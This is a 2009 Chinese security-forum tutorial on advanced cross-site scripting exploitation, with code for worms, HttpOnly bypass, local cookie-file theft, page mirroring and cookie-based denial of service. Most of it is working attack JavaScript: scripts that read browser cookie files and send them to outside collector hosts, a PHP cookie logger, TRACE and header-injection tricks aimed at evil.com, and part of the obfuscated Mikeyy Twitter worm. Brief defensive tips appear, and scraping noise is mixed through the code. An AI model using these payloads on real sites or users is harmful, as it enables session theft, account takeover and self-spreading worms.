XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
7 u3 k" l; Z, ^9 j% o3 a- _本帖最后由 racle 于 2009-5-30 09:19 编辑 * R7 w* M$ I+ B# @
' L6 m7 e/ L- l" u3 Q- LXSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页4 r3 |' n. _5 B2 X/ x6 J
By racle@tian6.com
6 X& W: E; g+ y1 M5 whttp://bbs.tian6.com/thread-12711-1-1.html
& ?. `2 V ?6 A- l/ z转帖请保留版权& Z6 P* h$ z( _" ]
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-------------------------------------------前言---------------------------------------------------------
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# }/ w! i8 I/ j7 ^- C9 P6 {本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.
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如果你还未具备基础XSS知识,以下几个文章建议拜读:
U: P2 j5 B2 F! t) ^- Z7 Vhttp://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/ JavaScript中文简介
; h& q: Z+ }# v8 P; Nhttp://www.google.com/search?q=XSS+%D3%EF%BE%E4 XSS语句大全
: w. j9 a7 {, ]: f3 Ehttp://www.google.com/search?q=XSS+%C8%C6%B9%FD XSS语句绕过
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http://bbs.tian6.com/thread-12239-1-1.html 突破XSS字符数量限制执行任意JS代码
: S6 b, ]0 V$ _& q2 R5 i. P9 j; Ohttp://bbs.tian6.com/thread-12241-1-1.html 利用窗口引用漏洞和XSS漏洞实现浏览器劫持6 K4 [* `# u! E( d& B; e: n7 E4 L
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如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.
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+ @5 c$ ^; I+ M- i4 T- K希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.3 a3 k3 L a8 ?( ]* x$ x3 U* @) Q
, q# q7 A# H8 ?9 t( `- R如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS 6次XSS蠕虫版本变化,2 |/ a w$ I' f1 \2 }
( @/ M$ _% A) e# ZBaidu xss蠕虫 感染了8700多个blog.媒体影响力,关注度巨大( W' O; v. q% j+ m1 w
6 y- f# |; X Q" M( R5 JQQ ZONE,校内网XSS 感染过万QQ ZONE.% T! J% n7 A& k& Z% H" D g; t
) X4 g2 _, b; _# b# T! QOWASP MYSPACE XSS蠕虫 20小时内传染一百万用户,最后导致MySpace瘫痪+ ~" t6 l }; L, b: k( U
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复制代码------------------------------------------介绍-------------------------------------------------------------: K+ d' p4 r. }. L
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什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.
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' m7 }7 b- J/ S, O5 W! Y跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息(Cookie),由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.
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如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.+ A3 I7 H, H& Q
复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
" f L' x* T8 |$ V/ B8 ^, M6 P: D我们在这里重点探讨以下几个问题:/ K% H! g* |$ Q
: V) `; d9 ^, H8 H' B1 通过XSS,我们能实现什么?
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2 如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?
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7 Q* e0 e, K$ R' {( a' [3 XSS的高级利用和高级综合型XSS蠕虫的可行性?
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4 XSS漏洞在输出和输入两个方面怎么才能避免.) b; ?3 S6 R2 Z/ [
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------------------------------------------研究正题----------------------------------------------------------4 k g0 }% b9 k% C
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3 l6 p. C- r0 G通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.5 Q, W- _+ |8 E' G7 G
复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫1 [& Y6 Z' r$ S* E
复制代码XSS漏洞在输出和输入两个方面怎么才能避免.: g5 D; W6 A: G6 M
1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
- s6 o h( U2 p7 @2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
J4 d) o9 C" k' k) l( `! O3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
* Y% T) G; Z" b3 b) l* c4:Http-only可以采用作为COOKIES保护方式之一.
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(I) AJAX在不同的浏览器下的本地文件操作权限读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)
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我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息: 1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的,看来MS对IE这类安全风险比较重视。(这有一些问题,随后修正!)
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2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。9 g- F g4 l. d" m/ ^
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1 g% D5 ~( a2 N+ z8 w. F& b [ 3: opera9.64及以下版本允许通过指定url为file://协议进行访问;如果文件在当前目录下,则不需要指定file://协议;如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。
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. X1 g4 W3 p" G- s$ x" u 4: 基于webkit内核:google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
8 i9 Z6 Q' W$ D! y. j6 t% p复制代码IE6使用ajax读取本地文件 <script>) N0 h- ?+ z. l% |5 x* {4 U* s* R5 ~0 |
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function $(x){return document.getElementById(x)}
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var request = false;
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if(window.XMLHttpRequest) {2 b. P% J/ r+ k" G# F
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request = new XMLHttpRequest();
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} else if(window.ActiveXObject) {
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var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',' _! f4 a3 P; k% T2 U6 L
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'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
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for(var i=0; i<versions.length; i++) {4 F; k# y4 o: e5 S
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try {6 h% V; {* a9 a4 S2 {
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request = new ActiveXObject(versions);
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} catch(e) {}* u" Z2 W6 a. ?% M3 o a0 j0 M
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return request;
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}
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! s/ r- @! [/ u2 n function _7or3(_m,action,argv){, t/ g, i% a9 J( ^
: j- q! ^7 k3 i, e A _x.open(_m,action,false);0 ^( \6 M1 d# u( w/ Z! d
7 i1 J: s- u T1 C if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
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return _x.responseText;- `- q, ^2 f$ } h# ]5 f
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/ E& O. W3 a+ H2 c2 U2 H var txt=_7or3("GET","file://localhost/C:/11.txt",null);
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1 [2 m6 d! e2 x/ p% ?. \. s alert(txt);
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: t! @; }/ d, L$ T; K* J8 E </script>
+ A3 [, M9 @% \9 N复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件. <script>
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7 `; ?9 L9 i0 T6 s4 r* ^ function ajax_obj(){
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9 y: h9 r9 K) w4 l7 I- u9 ]9 s! c# | var request = false;" a3 \9 v& o% b' m1 y! w* w! M
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if(window.XMLHttpRequest) {. P; M) ^; O2 r+ T
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request = new XMLHttpRequest();9 [5 A; y8 [- e* Z, a0 v
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} else if(window.ActiveXObject) {
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var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
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* e5 q# ?& u0 N7 s8 S6 m2 n 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
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for(var i=0; i<versions.length; i++) {
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( B% q3 Q0 T T& {5 [# ? return request;- h1 `: p$ ?4 s' W
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var _x = ajax_obj();; ?5 K; G9 ?, ]( G
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_x.open(_m,action,false);, ~9 t8 O, B' s/ F
: a1 R! ^9 }- J: F if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
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_x.send(argv);* {# z0 d0 x" z3 v7 m$ r
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return _x.responseText;
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}
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( m6 z- ^' h8 T$ N) l3 I, H var txt=_7or3("GET","1/11.txt",null);2 S7 r9 W% {. r' p. P
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$ e, e' ]7 @( E; U复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”
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Chrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"& y; d2 `& L, a! A8 R: A' T% G
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Chrome 1.0.154.53 use ajax read local txt file and upload exp ! o9 U7 O! o" O- G+ F4 t
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www.inbreak.net
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/ u1 j+ C/ M9 t4 L0 M author voidloafer@gmail.com 2009-4-22
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http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.
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*/
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$ Y% G/ z( E' ~5 ?4 Q nheader("Content-Disposition: attachment;filename=kxlzx.htm");
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header("Content-type: application/kxlzx"); - H' E$ W6 x1 d% {- r
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/*
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set header, so just download html file,and open it at local.
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: O' H* I3 K& g1 s) @) }9 ~1 N<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method="OST">
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* ^5 e% E4 I+ o1 y9 l6 x <input id="input" name="cookie" value="" type="hidden"> . D2 |3 J. U" ~/ L3 |
! [/ `. T4 `. H# Z8 L/ {5 J% P4 l. y</form> , @2 H8 _ P q; l% T+ e2 H& b% m
9 Y, a: ]* o' o& ^4 _<script>
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function doMyAjax(user)
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2 m9 ?: e6 i+ f* y- m5 Uvar time = Math.random();
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the cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default 8 m7 Z' S; ]: R7 N- g
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and the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History : q# p8 C0 D2 r! ]- F7 ?) o
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and so on... 7 E! o6 c/ I8 J; Q
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var strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time; " F) \( e4 Z& x4 z i8 f% J( B' ?
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5 d7 X1 H- v9 {! X( W) pstartRequest(strPer);
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function Enshellcode(txt)
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. D8 {6 D8 V9 z$ C2 o: Q& i7 [var url=new String(txt); * d+ X3 e* I' X7 U
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var i=0,l=0,k=0,curl=""; " g* e5 D9 A: j E, j% z+ a) n
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l= url.length;
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$ m o9 z: _4 F1 N1 N- d( ~for(;i<l;i++){ ' ~4 E- u2 @. N7 P
$ n- Y, j9 W) x! ~k=url.charCodeAt(i); 1 x8 W2 O, [+ M& j5 \2 F) d- y
" `3 r w \ L' `; V6 Oif(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);} 1 Z) W7 h9 G1 v
) _2 u4 `7 X- Kif (l%2){curl+="00";}else{curl+="0000";}
6 u. g& c6 e& B, E7 l/ P6 h
1 O! v$ L. N; H z* J5 J" w+ I- i$ Xcurl=curl.replace(/(..)(..)/g,"%u$2$1");
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7 O, v- @' K5 @7 I$ |& I! areturn curl; ; q+ ?" f$ c. b& ?4 z9 q* l/ @
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} # E k e+ P- P3 D
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var xmlHttp;
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: c4 c+ a& ]' ?) n% \( Q4 ^) efunction createXMLHttp(){
" u& f7 s8 b& U! O8 D Q1 i3 _% m* A6 d
if(window.XMLHttpRequest){ ! V4 N2 c3 c( w [
0 b0 C2 S, t$ W8 d9 R pxmlHttp = new XMLHttpRequest(); 6 E+ {) H7 ^0 g# Z' _6 `
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}
0 l; ]& W; T5 T
6 U- U% y$ j- h' Z/ n' y else if(window.ActiveXObject){ 6 w5 Y; k& P4 l6 G$ f, \ _
7 S4 m* m7 j1 Z) }8 H! qxmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); * W: V- x. D# c1 x4 r- o
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8 M k# A; C1 d6 d3 ^}
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function startRequest(doUrl){ 4 n: G1 I/ R& l. L
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createXMLHttp();
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4 K7 H, v% r# x- q$ B2 c
~! M! P' m& _4 Z* {) ? xmlHttp.onreadystatechange = handleStateChange; + I9 f. i9 o( _ }. P H; b7 V+ |
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- k! h7 m5 N3 Y- R& z xmlHttp.open("GET", doUrl, true);
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xmlHttp.send(null);
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} 8 I8 D* m' z" ^1 G: B7 b1 i! \
# G: \ _* X6 n2 D3 l; C; _. c1 J
4 s3 }( F) ]$ U6 f) G' a$ _
' v, p- y/ J- |! r8 Hfunction handleStateChange(){
" u% u% a; I* e9 y& ^
2 |2 `" w3 \+ U9 e if (xmlHttp.readyState == 4 ){ & L+ j6 R0 C4 B
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var strResponse = ""; 3 m9 D/ n# e' o: ~7 l" L8 F- d8 C& c
, U8 B- I! l# G5 w/ {' \ setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000); 0 H% H4 R5 @( J2 \( S8 [
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6 [6 g4 @" S1 x, d6 j5 C0 W+ E } 1 j% |2 q3 u) W7 J" \
( D0 g1 }2 ~' ]3 E# \} - g" L0 e- W: ^5 E; h
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& |8 t& ]# D* I& X+ Rfunction framekxlzxPost(text)
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8 j& m' P( f8 F a! h; m E' } document.getElementById("input").value = Enshellcode(text);
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document.getElementById("form").submit();
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: i; _, a6 I' U3 }" \}
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$ P3 u. A2 r2 t4 \8 UdoMyAjax("administrator"); 2 S0 x+ y% n( c( q8 X# x
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% B$ b+ B- a- ^; G</script>( I- Z: Z# A+ t. C
复制代码opera 9.52使用ajax读取本地COOKIES文件<script> S% B( Q+ ?- O% p. E# Q- }. J% _
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var xmlHttp;
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3 }* a9 Q$ l" U" X( @function createXMLHttp(){
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if(window.XMLHttpRequest){
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xmlHttp = new XMLHttpRequest(); ( `2 }: B4 w. e9 X8 B' j
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} 9 A: t* m2 L6 T4 w" p! q
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else if(window.ActiveXObject){
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xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
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}
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}
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1 A! C; [* H! a( {$ d+ U& rfunction startRequest(doUrl){ 9 D0 I0 ~7 Q( o% Z
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createXMLHttp();
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xmlHttp.onreadystatechange = handleStateChange; / k& \0 j9 g, v: u7 _
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xmlHttp.open("GET", doUrl, true); , q4 g7 S. W6 d: t" r( k
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xmlHttp.send(null);
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; M9 O9 n6 C( Q* H0 ?; @3 p, H% e0 P
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7 ?$ y$ S- z, @- o: k B+ afunction handleStateChange(){
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: E" S2 I) P' v6 _2 U' A( `; I) H if (xmlHttp.readyState == 4 ){
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var strResponse = ""; , ~ \+ x2 M( Z$ }& G' m
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setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);
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: ]0 l6 f H5 @5 g- l9 w. Pfunction doMyAjax(user,file) 5 B: Z# f. X, g& O
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{
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( f( Q+ j/ C- `; a var time = Math.random(); 8 E) k g! E( ]2 k
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_" k5 @1 |$ @6 h) U2 S* \
b7 T1 k6 L8 \5 \ S$ F var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;
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8 j: [' H: Q+ H1 n- @9 n, ^; z% p+ k8 J2 |7 c7 p
startRequest(strPer); ) M/ u) H! a2 h! D8 E3 Z
+ }% m! z _- X/ M7 w+ ~' _ # T" Y5 u5 z, h! u( B6 q
5 P4 ?& M5 B" Y- {2 U9 e; I" ^) m8 }
} & w9 i9 a; d5 C, b- P
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function framekxlzxPost(text)
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{ 6 J! { w& b5 I$ `. U% S
- _" i3 v+ T8 k& r document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text); + C5 G v' }; k. h/ U. M1 x
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alert(/ok/);
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doMyAjax('administrator','administrator@alibaba[1].txt'); 4 u# w) z* X. f, `* |
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</script>, ?- @: q, _2 P' ~
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p- G9 e) F8 A) ia.php# T& K8 B% U% u
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<?php 1 U0 z7 v# i$ C- ~, F" L
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& U) X, @9 W8 y; T" f$ C$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"]; " A# e" r( u( C) P, B
. `3 Y% J% t1 T$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];
+ i6 U2 e" R, h9 u0 T F8 v7 J% e- u' X3 O
$ ?0 K* R* f; {3 G$ j+ y4 o* i W" }
$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb"); 8 S& R9 r* ~% E8 F
$ b* T, T) n) I" K4 K* Ofwrite($fp,$_GET["cookie"]); 1 q1 K3 t, [6 D! t8 N& W
; T: ~/ T8 a, _3 hfclose($fp);
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?>
$ v$ { U. l7 W' t& U; ~9 B3 a* u! g C复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:
6 m) A7 \# k" d7 K* W; e9 h* W, ~1 h2 Z2 t- B6 g4 [
或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.
9 D( z# M% j) N! s: v利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.9 C' H- Q5 }4 q9 v1 c/ R
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代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);9 e8 k1 j: M! ?8 P# t
/ `9 d5 ^/ I. Q+ D6 Q" f) r% m//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);
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3 n* l( \4 s( v7 m7 x6 s5 Q//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);, |9 g# n* M% P0 n4 R$ u% x
' C5 K; O6 h1 T7 D! F+ lfunction getURL(s) {$ B8 s# O+ {7 p/ F) j
( \& d! h. t! I+ e2 l; y. vvar image = new Image();
3 U% |% U9 I% y; [
9 W* T1 M1 ^2 T6 z* jimage.style.width = 0;8 \4 C3 Y" g4 S8 J5 g
5 m6 ]: j9 V# P. J% W! Q9 [7 b- Bimage.style.height = 0;- K# M- T. [$ ^9 B; |
9 [* j( `2 ?: p! K! P
image.src = s;
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}7 b! I' E) d L9 n$ N1 R
" ?( Z3 r" a, ~1 y$ y' j1 @getURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);1 Z+ I" B( d" a. Z/ d3 t
复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
" F# D; J0 `: s! g这里引用大风的一段简单代码:<script language="javascript">; k5 I4 w( h$ b9 B5 D, U- B
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var metastr = "AAAAAAAAAA"; // 10 A
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var str = "";6 T7 H" _6 m: W1 j( L: w
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while (str.length < 4000){% o) g" E& ~/ i u& x6 z5 U, }
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str += metastr;
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}
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8 s3 R5 W4 a' y2 i7 ~$ y2 _document.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;"; // 一些老版本的webserver可能在这里还会存在XSS9 L/ h: L; O k- K3 `/ O
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</script>9 S% S$ U1 [3 L: y7 n
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详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
# {" w& `7 G6 z6 y& f复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.0 j. O* Y3 ^. A! P- L8 M
server limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=1509 f8 ~! z5 H) s
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假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.2 Q6 m/ _+ @+ c Q
攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.
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2 s+ A$ A# [; u J0 N(III) Http only bypass 与 补救对策:
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6 o% ^2 S0 A r7 c* U# X, F& R$ `$ o什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性,用以阻止客户端脚本访问Cookie.
! [% y1 N4 o; @* h; q. d. M2 H0 C以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript"> X- |( A- Q6 v, ~1 J
$ ^/ Z. |4 @; q7 Q<!--6 z$ N7 _! G! K% x0 V7 W
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function normalCookie() { . a6 x4 G) U5 j; N7 x
/ x) P3 Z5 k1 U8 |! n' {document.cookie = "TheCookieName=CookieValue_httpOnly"; 0 u% f/ j0 d& I9 u, f: u: A
& r% j7 O3 H8 u1 H3 `alert(document.cookie);
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% Q% `# `, d" m0 O}
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function httpOnlyCookie() {
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document.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly"; , ^6 t! Q% Y5 f
' k7 n! [2 b) q& d t. R( Zalert(document.cookie);}5 F5 D! c$ A& F5 E
3 H* L& u+ o4 f0 B1 E0 D9 w' Y8 ~) |; n) u- r8 j
. I( y) `* I$ |4 {6 }1 }
//--># k; i7 _9 m, A
/ o# Q0 i% I5 P. u I: m</script>
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5 u% X* K% l3 l' p9 t<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>
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) x7 z( l5 ` ^' c" v, v<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
5 ?9 P) V7 x( A& M$ M; x6 l' b: H; `复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>
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var request = false;
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+ g9 }7 K! @7 L4 u3 Q6 l# X8 D+ m5 | if(window.XMLHttpRequest) {
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# C; u% a# c/ b( Y request = new XMLHttpRequest();+ F1 Z/ g |) a4 p! {0 \
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if(request.overrideMimeType) {
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& s% F% D7 G- m; x! R0 p" b request.overrideMimeType('text/xml');" _, U2 A# i5 G
% g+ p2 { _" L( A/ L8 v. E' o9 @- t }
: [4 _5 ?0 u- B
; A. N; Y$ ?. U$ F, o* [1 { } else if(window.ActiveXObject) { q+ y! r# x ] w
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var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];, }! H- L4 S2 Q+ q( |5 y, G. @
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for(var i=0; i<versions.length; i++) {8 B* s+ S2 `7 X6 e
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try {* G( m$ p) m# \- u6 l
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request = new ActiveXObject(versions);
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} catch(e) {}
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}! m+ Y* Y% Y7 Q, y" f5 h' ?$ n
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f6 T* e5 L- _9 Y$ vxmlHttp=request;. G% C! d) _# \% ^! D
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xmlHttp.open("TRACE","http://www.vul.com",false);
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xmlHttp.send(null);2 L! e6 i. u% z, ~+ ], G
% G u, {, \- |# T: B' e% Q* yxmlDoc=xmlHttp.responseText;7 I) `1 S% \: t! ?
, R& P# X: m4 V, Palert(xmlDoc);
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/ ]/ s" v. l" H# K- y</script>$ E' U. S8 {3 k7 G, E) Z
复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>: M2 \; E0 Y. K- A6 d" f
% k% I& e' R$ v$ Gvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");6 j ?, X8 g0 k. d+ O# i7 ~
7 e2 l; D& p, p% N2 r9 _9 \XmlHttp.open("GET","http://www.google.com",false);, S+ F, X4 M5 Q4 k
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XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");, @) M3 C. z" K3 {7 w; I. ~, ` k
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XmlHttp.send(null);
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var resource=xmlHttp.responseText4 B. t1 O2 c& B5 K& z4 L, v- Y0 L
1 ]. h( X- a& B0 h9 presource.search(/cookies/);
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5 S5 f; k7 _, R: _9 A8 h......................
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- a* E2 J+ v- }7 g \& m</script>2 H, f" u* r; v# {+ ?) j" u
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0 ]# I7 ]; E& H7 d" R- d如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求
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- S O9 |& S3 J0 f[code]
$ i: d. }; R* @4 m" Z# b- B7 R4 @5 a* H1 z9 G
RewriteEngine On" _9 L; z/ ^' a0 ]! E3 m
& h F E" E6 e; |9 y% J' fRewriteCond %{REQUEST_METHOD} ^TRACE
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RewriteRule .* - [F]" r7 E( h3 V% f1 _
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0 G+ U" g% X' Z/ E( M! c
9 n+ U" ]: h) a/ t' t- ZSquid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求5 k9 h5 ~& `1 i( S' q
2 E5 f. N0 Q. I8 _acl TRACE method TRACE
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http_access deny TRACE: Y) O' `5 p8 I& @
复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>: n' d& V; h# D6 L; ^
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var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");4 s" e1 P* t" L0 q2 e( x
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XmlHttp.open("GET","http://www.google.com",false);
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XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
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XmlHttp.send(null);
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1 s% t: _$ z. @, l</script>1 G# d7 w* O5 R' Z# T
复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>" v6 I( w# b2 Q. G' d
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var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");0 y$ d- H7 R" S" o! ^( k
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XmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);
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XmlHttp.send(null);8 Y' C+ q' D4 p( A& N8 m) X
1 Z8 J' b, j! h9 g2 T a+ [" r- f<script>
. l" {( V2 v. J6 R- _1 c复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.0 x9 s& a2 g) j( n# c
复制代码案例:Twitter 蠕蟲五度發威
& W9 I7 y% U. P6 b2 U8 I第一版:
1 c) U0 Z$ x1 ]: L 下载 (5.1 KB)
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* p' R/ r# |/ i3 W9 i$ b0 b; c1 M6 天前 08:27
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3 i! T2 c; h* x( {第二版: 1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", "OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", "OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""]; . Y. H4 M% Y/ i. a# c0 |
* S/ {2 {8 T* {
2. / `' r7 b! `4 `3 x% U( G5 w
* S6 Y! S; E5 O3 r# n
3. function XHConn(){
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4. var _0x6687x2,_0x6687x3=false;
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5. try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }
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6. catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); } ; H3 C! F" I2 ] h2 b% G1 H# e- S
$ k3 z! d8 m, m1 k- R. z 7. catch(e) { try { _0x6687x2= new XMLHttpRequest(); } 8 b' y6 v9 H" r( o) ?
